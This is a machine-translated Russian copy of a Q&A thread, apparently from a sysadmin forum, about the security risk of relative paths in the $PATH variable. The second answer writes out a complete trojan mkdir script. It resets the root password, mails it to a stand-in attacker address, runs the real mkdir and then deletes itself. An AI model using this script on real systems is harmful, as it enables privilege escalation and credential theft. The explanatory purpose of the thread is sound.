Последствия для безопасности использования относительных путей в переменной окружения PATH?

У нас был аудит, просто отметьте нас за наличие относительных путей наизнанку $ PATH переменная env. Я не уверен, действительно ли это проблема безопасности, и хотел бы связаться со всеми, чтобы узнать, действительно ли это проблема безопасности или это просто передовая практика , как я предполагаю. Может ли кто-нибудь предоставить информацию о проблемах безопасности при использовании $ PATH с родственниками? Спасибо

6
задан 11 May 2016 в 20:21
2 ответа

Проблема с указанием относительного пути в $ PATH заключается в том, что если злоумышленник может создать файл с заданным именем в вашей файловой системе, вы рискуете запустить этот файл.

Пример: df или мониторинг говорит, что / var заполнен, du говорит, что это / var / spool / ftp / uploads , что вы делаете?

cd /var/spool/ftp/uploads
ls -ltr

и вы принадлежите. Вы даже не видите ls в выходных данных, так что вы никогда не узнаете.

Замените загрузки по ftp некоторым каталогом данных какого-либо клиентского веб-сайта, или каталогом / tmp общей машины, или много других вещей.

По общему признанию, это случится не часто,но риск существует, и написать ./ script вместо script легко.

4
ответ дан 3 December 2019 в 00:12

Есть две проблемы с используемым вами путем.

  1. Путь является относительным.
  2. Относительный путь идет перед основными путями.

Предположим, у вас есть следующий сценарий оболочки, который вы используете как root для обновления некоторого веб-приложения, и вы установили $ PATH , используемый в / etc / profile

#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd

. Злоумышленнику вы предоставляете означает выполнить что-то в оболочке, управляемой указанным злоумышленником. Форма атаки могла бы выглядеть так - я пытаюсь подорвать управление вызовом mkdir в уязвимом скрипте.

attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" attacker@somewherebad.com
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir

Затем я жду, пока вы обновите свое веб-приложение.

Что теперь происходит? , заключается в том, что уязвимый сценарий переключается на / dev / shm . Когда он это делает и запускает mkdir , он сначала находит программу apps / java / bin / mkdir , которая в этом случае сбрасывает пароль root, отправляет злоумышленнику новый пароль root по электронной почте, на самом деле вызывает настоящий mkdir (чтобы скрыть тот факт, что что-то действительно произошло) и удаляет себя с пути атаки.

Как root, вы нет идеи, что произошло, и доказательства стираются после доставки полезной нагрузки.

7
ответ дан 3 December 2019 в 00:12

Теги

Похожие вопросы